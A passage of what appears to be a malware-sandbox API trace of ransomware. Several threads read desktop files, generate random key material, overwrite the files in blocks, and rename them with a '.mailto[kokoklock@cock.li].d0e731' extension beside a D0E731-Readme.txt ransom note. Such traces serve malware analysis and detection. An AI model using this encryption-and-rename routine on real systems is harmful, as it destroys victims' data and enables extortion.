(HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0172.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0172.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.033] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1427fb6c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1427fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0172.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.034] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xcccb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.034] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1427fba4, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x1427fba4*=0x20, lpOverlapped=0x0) returned 1 [0172.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.034] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3057c88*, lpNumberOfBytesWritten=0x1427fbb8*=0x8, lpOverlapped=0x0) returned 1 [0172.034] WriteFile (in: hFile=0x5d4, lpBuffer=0x1427fbd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x1427fbd0*, lpNumberOfBytesWritten=0x1427fbb8*=0x4, lpOverlapped=0x0) returned 1 [0172.034] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1427fbb8*=0x4, lpOverlapped=0x0) returned 1 [0172.035] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1427fbb8*=0x6c, lpOverlapped=0x0) returned 1 [0172.035] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x1427fbb8*=0x20, lpOverlapped=0x0) returned 1 [0172.035] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1427fbb8*=0x4, lpOverlapped=0x0) returned 1 [0172.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058138) returned 1 [0172.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0172.035] CloseHandle (hObject=0x5d4) returned 1 [0172.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f987a8 [0172.293] wcscpy (in: _Dest=0x2f987a8, _Source="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" [0172.293] wcscat (in: _Dest=0x2f987a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.293] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.346] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f987a8) returned 1 [0172.346] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.346] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.346] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.346] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedef8) returned 1 [0172.347] RtlExitUserThread (Status=0x1) Thread: id = 1957 os_tid = 0xfc4 [0170.756] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.999] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.000] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x142ffad4 | out: lpFileSize=0x142ffad4*=102092) returned 1 [0172.000] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x18ec8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.000] ReadFile (in: hFile=0x5d4, lpBuffer=0x142ffaa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x142ffaa8*, lpNumberOfBytesRead=0x142ffaa4*=0x4, lpOverlapped=0x0) returned 1 [0172.001] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.001] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.001] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.001] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0172.001] NtQuerySystemTime (in: CurrentTime=0x142ffa80 | out: CurrentTime=0x142ffa80*=132121213293108346) returned 0x0 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xd1fd979f [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x4c22daa1 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xc105696c [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x67db58f0 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x2db24d28 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x9f15d5d0 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xfa3f6826 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x4c611112 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x961319c2 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x9ec63728 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xaefa10da [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x450b98eb [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x5d6859a1 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xa6c31f43 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x47947850 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xddbd4bee [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x5910325c [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xa2cb0942 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x30d3ea17 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x246e5308 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x9246c9a1 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x28f8ed61 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x89853a52 [0172.001] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xc8db7974 [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xe196f60a [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x80f76a25 [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xf5df0b87 [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x50142ee4 [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xa0431a1e [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x8585233e [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0x536398b2 [0172.002] RtlRandom (in: Seed=0x142ffa8c | out: Seed=0x142ffa8c) returned 0xedfb0602 [0172.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058110 [0172.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058138 [0172.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.014] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.014] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x142ffa58, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x142ffa58*=0x4096, lpOverlapped=0x0) returned 1 [0172.014] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0172.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0172.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0172.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0172.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.015] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x142ffa58, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x142ffa58*=0x4096, lpOverlapped=0x0) returned 1 [0172.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.015] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x18ecc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.015] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x142ffa90, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x142ffa90*=0x20, lpOverlapped=0x0) returned 1 [0172.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.016] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058138*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x3058138*, lpNumberOfBytesWritten=0x142ffaa4*=0x8, lpOverlapped=0x0) returned 1 [0172.017] WriteFile (in: hFile=0x5d4, lpBuffer=0x142ffabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x142ffabc*, lpNumberOfBytesWritten=0x142ffaa4*=0x4, lpOverlapped=0x0) returned 1 [0172.017] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x142ffaa4*=0x4, lpOverlapped=0x0) returned 1 [0172.017] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x142ffaa4*=0x6c, lpOverlapped=0x0) returned 1 [0172.017] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x142ffaa4*=0x20, lpOverlapped=0x0) returned 1 [0172.017] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x142ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x142ffaa4*=0x4, lpOverlapped=0x0) returned 1 [0172.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058110) returned 1 [0172.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058138) returned 1 [0172.017] CloseHandle (hObject=0x5d4) returned 1 [0172.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff16d0 [0172.293] wcscpy (in: _Dest=0x2ff16d0, _Source="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" [0172.293] wcscat (in: _Dest=0x2ff16d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.293] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.342] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff16d0) returned 1 [0172.343] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.343] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.343] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.343] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.343] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fd0140) returned 1 [0172.343] RtlExitUserThread (Status=0x1) Thread: id = 1958 os_tid = 0xfc8 [0170.757] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.973] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0171.973] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1437fdd4 | out: lpFileSize=0x1437fdd4*=23869) returned 1 [0171.973] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x5d39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.973] ReadFile (in: hFile=0x5d4, lpBuffer=0x1437fda8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x1437fda8*, lpNumberOfBytesRead=0x1437fda4*=0x4, lpOverlapped=0x0) returned 1 [0171.976] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.976] NtQuerySystemTime (in: CurrentTime=0x1437fd80 | out: CurrentTime=0x1437fd80*=132121213292953537) returned 0x0 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x3d299763 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xa8e95a96 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x4a899023 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xed6713c [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x21711f2b [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xec45e6c8 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xf7d11103 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x8e9b42fe [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x7ebae146 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xbc38638d [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x65d691ff [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xcea56b9a [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x9afb649a [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x985a0496 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xac6d7ba3 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x7aca01c8 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xa9b59942 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x8a178451 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x29a75d42 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xa50a5ff3 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xb6352c35 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x83698245 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x135a8235 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xdc217618 [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xf800c13d [0171.976] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x85eb941a [0171.977] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x910a49db [0171.977] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x66b8c75c [0171.977] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x5327e4ac [0171.977] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xe1d4cd1b [0171.977] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0xb556e981 [0171.977] RtlRandom (in: Seed=0x1437fd8c | out: Seed=0x1437fd8c) returned 0x3be48bf6 [0171.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058110 [0171.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0171.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058138 [0171.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0171.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.988] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.988] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1437fd58, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1437fd58*=0x4096, lpOverlapped=0x0) returned 1 [0171.996] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0171.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0171.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.996] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0171.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 